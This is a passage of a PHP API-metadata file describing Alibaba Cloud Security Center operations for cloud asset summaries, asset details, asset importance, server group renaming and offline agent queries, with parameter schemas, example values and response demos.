Certificate Management Service) '."\n" .'- **14**: DevOps '."\n" .'- **16**: DDoS Protection '."\n" .'- **17**: Web Application Firewall '."\n" .'- **18**: Object Storage Service (OSS) '."\n" .'- **19**: PolarDB '."\n" .'- **20**: ApsaraDB for PostgreSQL '."\n" .'- **21**: Microservices Engine '."\n" .'- **22**: File Storage NAS '."\n" .'- **23**: Data Security Center '."\n" .'- **24**: Elastic IP Address '."\n" .'- **25**: Cloud Identity Service - EIAM '."\n" .'- **26**: PolarDB-X '."\n" .'- **27**: Elasticsearch', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '4', ], 'AssetSubType' => [ 'description' => '云产品的子类型。'."\n" .'资产的类型-子类型。取值：'."\n" ."\n" .'- **0**：云服务器 ECS '."\n" .' * **1**：磁盘（存储）'."\n" .' * **2**：安全组'."\n" .' * **100**：实例'."\n" .'- **1**：负载均衡'."\n" .' * **0**：负载均衡'."\n" .' * **1**：应用型负载均衡'."\n" .'- **3**：云数据库 RDS'."\n" .' * **0**：实例'."\n" .'- **4**：云数据库 MongoDB 版'."\n" .' * **0**：实例'."\n" .'- **5**：云数据库 Tair（兼容 Redis）'."\n" .' * **0**：实例'."\n" .'- **6**：容器镜像服务'."\n" .' * **1**：企业版'."\n" .' * **2**：个人版'."\n" .'- **8**：容器服务Kubernetes版'."\n" .' * **0**：集群'."\n" .'- **9**：专有网络VPC'."\n" .' * **0**：NAT网关'."\n" .' * **1**：EIP'."\n" .' * **2**：VPN'."\n" .' * **3**：FLOW_LOG'."\n" .'- **11**：操作审计'."\n" .' * **0**：跟踪'."\n" .'- **12**：CDN'."\n" .' * **0**：实例'."\n" .'- **13**：数字证书管理服务（原SSL证书）'."\n" .' * **0**：证书'."\n" .'- **14**：云效'."\n" .' * **0**：组织'."\n" .'- **16**：DDoS防护'."\n" .' * **0**：实例'."\n" .'- **17**：Web应用防火墙'."\n" .' * **0**：域名'."\n" .'- **18**：对象存储'."\n" .' * **0**：Bucket'."\n" .'- **19**：云原生关系型数据库 PolarDB'."\n" .' * **0**：集群'."\n" .'- **20**：云数据库 PostgreSQL 版'."\n" .' * **0**：实例'."\n" .'- **21**：微服务引擎'."\n" .' * **0**：集群'."\n" .'- **22**：文件存储NAS'."\n" .' * **0**：文件系统'."\n" .'- **23**：数据安全中心'."\n" .' * **0**：实例'."\n" .'- **24**：弹性公网IP'."\n" .' * **0**：任播弹性公网IP'."\n" .'- **25**：云身份服务-EIAM'."\n" .' * **0**：实例'."\n" .'- **26**：PolarDB-X'."\n" .' * **0**：实例'."\n" .'- **27**：Elasticsearch'."\n" .' * **0**：实例', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', 'type' => 'string', 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', ], 'GroupedFields' => [ 'description' => 'Summary information of cloud assets.', 'type' => 'object', 'properties' => [ 'CloudAssetSummaryMetas' => [ 'description' => 'List of cloud product statistics', 'type' => 'array', 'items' => [ 'description' => 'Statistical information of cloud products', 'type' => 'object', 'properties' => [ 'AssetType' => [ 'description' => '云产品的类型。取值：'."\n" ."\n" .'- **0**：云服务器 ECS'."\n" .'- **1**：负载均衡'."\n" .'- **3**：云数据库 RDS'."\n" .'- **4**：云数据库 MongoDB 版'."\n" .'- **5**：云数据库 Tair（兼容 Redis）'."\n" .'- **6**：容器镜像服务'."\n" .'- **8**：容器服务Kubernetes版'."\n" .'- **9**：专有网络VPC'."\n" .'- **11**：操作审计'."\n" .'- **12**：CDN'."\n" .'- **13**：数字证书管理服务（原SSL证书）'."\n" .'- **14**：云效'."\n" .'- **15**：访问控制'."\n" .'- **16**：DDoS防护'."\n" .'- **17**：Web应用防火墙'."\n" .'- **18**：对象存储'."\n" .'- **19**：云原生关系型数据库 PolarDB'."\n" .'- **20**：云数据库 PostgreSQL 版'."\n" .'- **21**：微服务引擎'."\n" .'- **22**：文件存储NAS'."\n" .'- **23**：数据安全中心'."\n" .'- **24**：弹性公网IP'."\n" .'- **25**：云身份服务-EIAM'."\n" .'- **26**：PolarDB-X'."\n" .'- **27**：Elasticsearch', 'type' => 'integer', 'format' => 'int32', 'example' => '16', ], 'AssetSubType' => [ 'description' => 'Subtype of the cloud product', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'InstanceCount' => [ 'description' => 'Total number of this type of cloud product instances.', 'type' => 'integer', 'format' => 'int32', 'example' => '16', ], 'InstanceRiskCount' => [ 'description' => 'Total number of risky instances for this type of cloud product.', 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'Vendor' => [ 'description' => '服务器厂商。取值：'."\n" ."\n" .'- **0**：阿里云资产'."\n" .'- **1**：云外资产'."\n" .'- **2**：IDC资产'."\n" .'- **3**、**4**、**5**、**7**：其它云资产'."\n" .'- **8**：轻量级资产', 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], ], ], ], 'InstanceCountTotal' => [ 'description' => 'Total number of cloud product instances.', 'type' => 'integer', 'format' => 'int32', 'example' => '919', ], 'InstanceRiskCountTotal' => [ 'description' => 'Total number of cloud product instances at risk', 'type' => 'integer', 'format' => 'int32', 'example' => '544', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\",\\n \\"GroupedFields\\": {\\n \\"CloudAssetSummaryMetas\\": [\\n {\\n \\"AssetType\\": 16,\\n \\"AssetSubType\\": 0,\\n \\"InstanceCount\\": 16,\\n \\"InstanceRiskCount\\": 5,\\n \\"Vendor\\": 3\\n }\\n ],\\n \\"InstanceCountTotal\\": 919,\\n \\"InstanceRiskCountTotal\\": 544\\n }\\n}","type":"json"}]', 'title' => 'Get Cloud Asset Summary', 'translator' => 'machine', ], 'GetCloudAssetDetail' => [ 'summary' => 'Obtains the details of cloud assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'The service provider of the cloud asset. Valid values:'."\n" ."\n" .'* **0**: Alibaba Cloud.'."\n" .'* **1**: service provider that is unrecognized.'."\n" .'* **2**: data center.'."\n" .'* **3**, **4**, **5**, and **7**: third-party service provider.'."\n" .'* **8**: simple application server.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'docRequired' => true, 'example' => '0', ], ], [ 'name' => 'AssetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the cloud asset. Valid values:'."\n" ."\n" .'* **0**: Elastic Compute Service (ECS).'."\n" .'* **1**: Server Load Balancer (SLB).'."\n" .'* **3**: ApsaraDB RDS.'."\n" .'* **4**: ApsaraDB for MongoDB.'."\n" .'* **5**: ApsaraDB for Redis.'."\n" .'* **6**: Container Registry.'."\n" .'* **8**: Container Service for Kubernetes.'."\n" .'* **9**: Virtual Private Cloud (VPC).'."\n" .'* **11**: ActionTrail.'."\n" .'* **12**: Alibaba Cloud CDN (CDN).'."\n" .'* **13**: Certificate Management Service.'."\n" .'* **14**: Apsara Devops.'."\n" .'* **15**: Resource Access Management (RAM).'."\n" .'* **16**: Anti-DDoS.'."\n" .'* **17**: Web Application Firewall (WAF).'."\n" .'* **18**: Object Storage Service (OSS).'."\n" .'* **19**: PolarDB.'."\n" .'* **20**: ApsaraDB RDS for PostgreSQL.'."\n" .'* **21**: Microservices Engine (MSE).'."\n" .'* **22**: File Storage NAS (NAS).'."\n" .'* **23**: Data Security Center (DSC).'."\n" .'* **24**: Elastic IP Address (EIP).'."\n" .'* **25**: Identity as a Service (IDaaS)-Employee Identity and Access Management (EIAM).'."\n" .'* **26**: PolarDB-X.'."\n" .'* **27**: Elasticsearch.', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'docRequired' => true, 'example' => '14', ], ], [ 'name' => 'AssetSubType', 'in' => 'query', 'schema' => [ 'description' => 'The subtype of the cloud service.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'docRequired' => true, 'example' => '0', ], ], [ 'name' => 'CloudAssetInstances', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The details of the assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the asset.'."\n", 'type' => 'object', 'properties' => [ 'RegionId' => [ 'description' => 'The region in which the cloud asset resides.'."\n" ."\n" .'> For more information about the mapping between region IDs and region names, see [Regions and zones](~~40654~~).'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], 'InstanceId' => [ 'description' => 'The instance ID of the cloud asset.'."\n", 'type' => 'string', 'required' => true, 'docRequired' => true, 'example' => 'sg-wz9hf86vbzbrrde7****', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 20, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'CB45CAED-31C3-517A-8619-10F632D3****', ], 'Instances' => [ 'description' => 'An array that consists of the details of the cloud assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the cloud asset.'."\n", 'type' => 'object', 'properties' => [ 'RegionId' => [ 'description' => 'The region in which the cloud asset resides.'."\n" ."\n" .'> For more information about the mapping between region IDs and region names, see [Regions and zones](~~40654~~).'."\n", 'type' => 'string', 'example' => 'cn-hanghzou', ], 'Vendor' => [ 'description' => 'The service provider of the cloud asset. Valid values:'."\n" ."\n" .'* **0**: Alibaba Cloud.'."\n" .'* **1**: service provider that is unrecognized.'."\n" .'* **2**: data center.'."\n" .'* **3**, **4**, **5**, and **7**: third-party service provider.'."\n" .'* **8**: simple application server.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetType' => [ 'description' => 'The type of the cloud asset. Valid values:'."\n" ."\n" .'* **0**: ECS.'."\n" .'* **1**: SLB.'."\n" .'* **3**: ApsaraDB RDS.'."\n" .'* **4**: ApsaraDB for MongoDB.'."\n" .'* **5**: ApsaraDB for Redis.'."\n" .'* **6**: Container Registry.'."\n" .'* **8**: Container Service for Kubernetes.'."\n" .'* **9**: VPC.'."\n" .'* **11**: ActionTrail.'."\n" .'* **12**: CDN.'."\n" .'* **13**: Certificate Management Service.'."\n" .'* **14**: Apsara Devops.'."\n" .'* **15**: RAM.'."\n" .'* **16**: Anti-DDoS.'."\n" .'* **17**: WAF.'."\n" .'* **18**: OSS.'."\n" .'* **19**: PolarDB.'."\n" .'* **20**: ApsaraDB RDS for PostgreSQL.'."\n" .'* **21**: MSE.'."\n" .'* **22**: NAS.'."\n" .'* **23**: DSC.'."\n" .'* **24**: EIP.'."\n" .'* **25**: IDaaS-EIAM.'."\n" .'* **26**: PolarDB-X.'."\n" .'* **27**: Elasticsearch.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'AssetSubType' => [ 'description' => 'The subtype of the cloud asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'InstanceId' => [ 'description' => 'The instance ID of the cloud asset.'."\n", 'type' => 'string', 'example' => 'rm-uf6t6u05n6g48****', ], 'InstanceName' => [ 'description' => 'The instance name of the cloud asset.'."\n", 'type' => 'string', 'example' => 'yztest-l***', ], 'CreatedTime' => [ 'description' => 'The time when the instance was created. The value is a timestamp.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1607365213000', ], 'InternetIp' => [ 'description' => 'The public IP address of the instance.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'AlarmStatus' => [ 'description' => 'Indicates whether alerts are generated for the current cloud asset. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'NO', ], 'RiskStatus' => [ 'description' => 'Indicates whether risks are detected on the current cloud asset. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'NO', ], 'AssetTypeName' => [ 'description' => 'The name of the cloud asset type.'."\n", 'type' => 'string', 'example' => 'RDS', ], 'AssetSubTypeName' => [ 'description' => 'The name of the cloud asset subtype.'."\n", 'type' => 'string', 'example' => 'INSTANCE', ], 'SecurityInfo' => [ 'description' => 'The security information about the cloud asset.'."\n", 'type' => 'string', 'example' => '{\\"seriousNum\\":0,\\"appNum\\":0,\\"baselineMedium\\":0,\\"remindNum\\":0,\\"imageVulNntf\\":0,\\"cveNum\\":0,\\"vul\\":0,\\"uuid\\":\\"rm-uf6t6u05n6g485o70\\",\\"emgNum\\":0,\\"weakPWNum\\":0,\\"imageMaliciousFileRemind\\":0,\\"imageBaselineMedium\\":0,\\"laterVulCount\\":0,\\"cmsNum\\":0,\\"imageMaliciousFileSerious\\":0,\\"agentlessMalicious\\":0,\\"suspNum\\":0,\\"imageBaselineHigh\\":0,\\"asapVulCount\\":0,\\"imageVulLater\\":0,\\"agentlessAll\\":0,\\"sysNum\\":0,\\"containerLater\\":0,\\"containerSuspicious\\":0,\\"imageBaselineNum\\":0,\\"newSuspicious\\":0,\\"nntfVulCount\\":0,\\"scaNum\\":0,\\"containerNntf\\":0,\\"health\\":0,\\"trojan\\":0,\\"suspicious\\":0,\\"imageMaliciousFileSuspicious\\":0,\\"containerRemind\\":0,\\"baselineLow\\":0,\\"imageVulAsap\\":0,\\"imageBaselineLow\\":0,\\"containerAsap\\":0,\\"agentlessBaseline\\":0,\\"agentlessVulSca\\":0,\\"agentlessVulCve\\":0,\\"containerSerious\\":0,\\"baselineHigh\\":0,\\"account\\":0,\\"baselineNum\\":6}', ], 'DetailLink' => [ 'description' => 'The detailed address of the cloud asset.'."\n", 'type' => 'string', 'example' => 'https://rdsnext.console.aliyun.com/detail/rm-uf6t6u05n6g48****/basicInfo?region=cn-shanghai', ], 'VendorUid' => [ 'description' => 'Account id for multi-cloud instances.', 'type' => 'string', 'example' => '123', ], 'VendorUserName' => [ 'description' => 'The account name of the multi-cloud instance.', 'type' => 'string', 'example' => 'test', ], 'OriginalAssetInfo' => [ 'description' => 'Detailed asset information.', 'type' => 'string', 'example' => '{"owner":{"displayName":"123","id":"123"},"intranetEndpoint":"oss-cn-shanghai-internal.aliyuncs.com","extranetEndpoint":"oss-cn-shanghai.aliyuncs.com","storageClass":"Standard","name":"test","location":"oss-cn-shanghai","creationDate":1629882579000,"region":"cn-shanghai"}'."\n", ], ], ], ], 'Count' => [ 'description' => 'The number of instances in the list of cloud assets returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CB45CAED-31C3-517A-8619-10F632D3****\\",\\n \\"Instances\\": [\\n {\\n \\"RegionId\\": \\"cn-hanghzou\\",\\n \\"Vendor\\": 0,\\n \\"AssetType\\": 3,\\n \\"AssetSubType\\": 0,\\n \\"InstanceId\\": \\"rm-uf6t6u05n6g48****\\",\\n \\"InstanceName\\": \\"yztest-l***\\",\\n \\"CreatedTime\\": 1607365213000,\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"AlarmStatus\\": \\"NO\\",\\n \\"RiskStatus\\": \\"NO\\",\\n \\"AssetTypeName\\": \\"RDS\\",\\n \\"AssetSubTypeName\\": \\"INSTANCE\\",\\n \\"SecurityInfo\\": \\"{\\\\\\\\\\\\\\"seriousNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"appNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineMedium\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"remindNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulNntf\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"cveNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"vul\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"uuid\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"rm-uf6t6u05n6g485o70\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"emgNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"weakPWNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileRemind\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineMedium\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"laterVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"cmsNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileSerious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessMalicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"suspNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineHigh\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"asapVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulLater\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessAll\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"sysNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerLater\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"newSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"nntfVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"scaNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerNntf\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"health\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"trojan\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"suspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerRemind\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineLow\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulAsap\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineLow\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerAsap\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessBaseline\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulSca\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulCve\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerSerious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineHigh\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"account\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineNum\\\\\\\\\\\\\\":6}\\",\\n \\"DetailLink\\": \\"https://rdsnext.console.aliyun.com/detail/rm-uf6t6u05n6g48****/basicInfo?region=cn-shanghai\\",\\n \\"VendorUid\\": \\"123\\",\\n \\"VendorUserName\\": \\"test\\",\\n \\"OriginalAssetInfo\\": \\"{\\\\\\"owner\\\\\\":{\\\\\\"displayName\\\\\\":\\\\\\"123\\\\\\",\\\\\\"id\\\\\\":\\\\\\"123\\\\\\"},\\\\\\"intranetEndpoint\\\\\\":\\\\\\"oss-cn-shanghai-internal.aliyuncs.com\\\\\\",\\\\\\"extranetEndpoint\\\\\\":\\\\\\"oss-cn-shanghai.aliyuncs.com\\\\\\",\\\\\\"storageClass\\\\\\":\\\\\\"Standard\\\\\\",\\\\\\"name\\\\\\":\\\\\\"test\\\\\\",\\\\\\"location\\\\\\":\\\\\\"oss-cn-shanghai\\\\\\",\\\\\\"creationDate\\\\\\":1629882579000,\\\\\\"region\\\\\\":\\\\\\"cn-shanghai\\\\\\"}\\"\\n }\\n ],\\n \\"Count\\": 1\\n}","type":"json"}]', 'title' => 'GetCloudAssetDetail', 'translator' => 'machine', ], 'ModifyAssetImportant' => [ 'summary' => 'Modifies the importance of an asset.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92348', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ImportantCode', 'in' => 'query', 'schema' => [ 'description' => 'The importance of the asset. Valid values:'."\n" ."\n" .'* **0**: test'."\n" .'* **1**: normal'."\n" .'* **2**: important'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of servers. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '076a446d-df7d-424c-bdc5-bb5dc7f1****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned. The value 200 indicates that the request was successful.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '23C85959-1540-514B-93CF-2992C53A1B4F', ], 'ErrCode' => [ 'description' => 'The error code returned if the request failed.'."\n", 'type' => 'string', 'example' => 'ServerError', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'ErrMessage' => [ 'description' => 'The error message returned if the request failed.'."\n", 'type' => 'string', 'example' => 'ServerError', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HttpStatusCode\\": 200,\\n \\"RequestId\\": \\"23C85959-1540-514B-93CF-2992C53A1B4F\\",\\n \\"ErrCode\\": \\"ServerError\\",\\n \\"Success\\": true,\\n \\"ErrMessage\\": \\"ServerError\\"\\n}","type":"json"}]', 'title' => 'ModifyAssetImportant', ], 'ModifyGroupProperty' => [ 'summary' => 'Changes the name of a server group.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92365', 'abilityTreeNodes' => [ 'FEATUREsasGC725T', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Data', 'in' => 'query', 'schema' => [ 'description' => 'The new attributes of the server group. You can specify the following parameters to configure the attributes:'."\n" ."\n" .'* **groupFlag**: the type of the server group. Valid values: 0 and 1. The value **0** specifies the Default server group. The value **1** specifies other server groups.'."\n" .'* **groupId**: the ID of the server group.'."\n" .'* **groupIndex**: no meaning. You can leave this parameter empty.'."\n" .'* **groupName**: the name of the server group. The value is the new name of the server group. The new name cannot be the same as the original name of the server group.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to obtain the values of the groupFlag and groupId parameters. You cannot change the value of the groupFlag or groupId parameter. You can change only the value of the groupName parameter.'."\n", 'type' => 'string', 'required' => true, 'example' => '[{"groupFlag":1,"groupId":8436682,"groupIndex":,"groupName":"example"}]', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n 7E0618A9-D5EF-4220-9471-C42B5E92719F\\r\\n","errorExample":""}]', 'title' => 'ModifyGroupProperty', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeOfflineMachines' => [ 'summary' => 'Queries the information about the servers whose Security Center agent status is Offline.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '180.113.XX.XX', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **5**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '5', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '4', ], ], [ 'name' => 'RegionNo', 'in' => 'query', 'schema' => [ 'description' => 'The region in which the server resides.'."\n" ."\n" .'> The value of this parameter is the value of the Values parameter that is returned by calling the [DescribeCriteria](~~DescribeCriteria~~) operation. If the value of the **Name** parameter in the response is **regionId**, the value of the **Values** parameter indicates a region ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'Os', 'in' => 'query', 'schema' => [ 'description' => 'The operating system of the server.'."\n" ."\n" .'> The value of this parameter is the value of the Values parameter that is returned by calling the [DescribeCriteria](~~DescribeCriteria~~) operation. If the value of the **Name** parameter in the response is **osType**, the value of the **Values** parameter indicates an operating system.'."\n", 'type' => 'string', 'required' => false, 'example' => 'linux', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The information about the server that you want to query. The value can be the name or the public IP address of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '172.20.XX.XX', ], ], [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'The source of the server. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud.'."\n" .'* **1**: a third-party cloud server'."\n" .'* **2**: a server in a data center'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset'."\n" .'* **8**: a lightweight asset'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'RegionIdStr', 'in' => 'query', 'schema' => [ 'description' => 'The region in which the server resides.'."\n" ."\n" .'> The value of this parameter is the value of the Values parameter that is returned by calling the [DescribeCriteria](~~DescribeCriteria~~) operation. If the value of the **Name** parameter in the response is **regionId**, the value of the **Values** parameter indicates a region ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '44', ], 'MachineList' => [ 'description' => 'An array that consists of the information about servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the server.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '6d5b361f-958d-48a8-a9d2-d6e82c1****', ], 'MachineRegion' => [ 'description' => 'The region in which the server resides.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '120.79.XX.XX', ], 'VendorName' => [ 'description' => 'The name of the service provider (SP) for the server.'."\n" ."\n" .'Valid values:'."\n" ."\n" .'* **ALIYUN**: Alibaba Cloud'."\n" .'* **OUT**: a third-party service provider'."\n" .'* **IDC**: a data center'."\n" 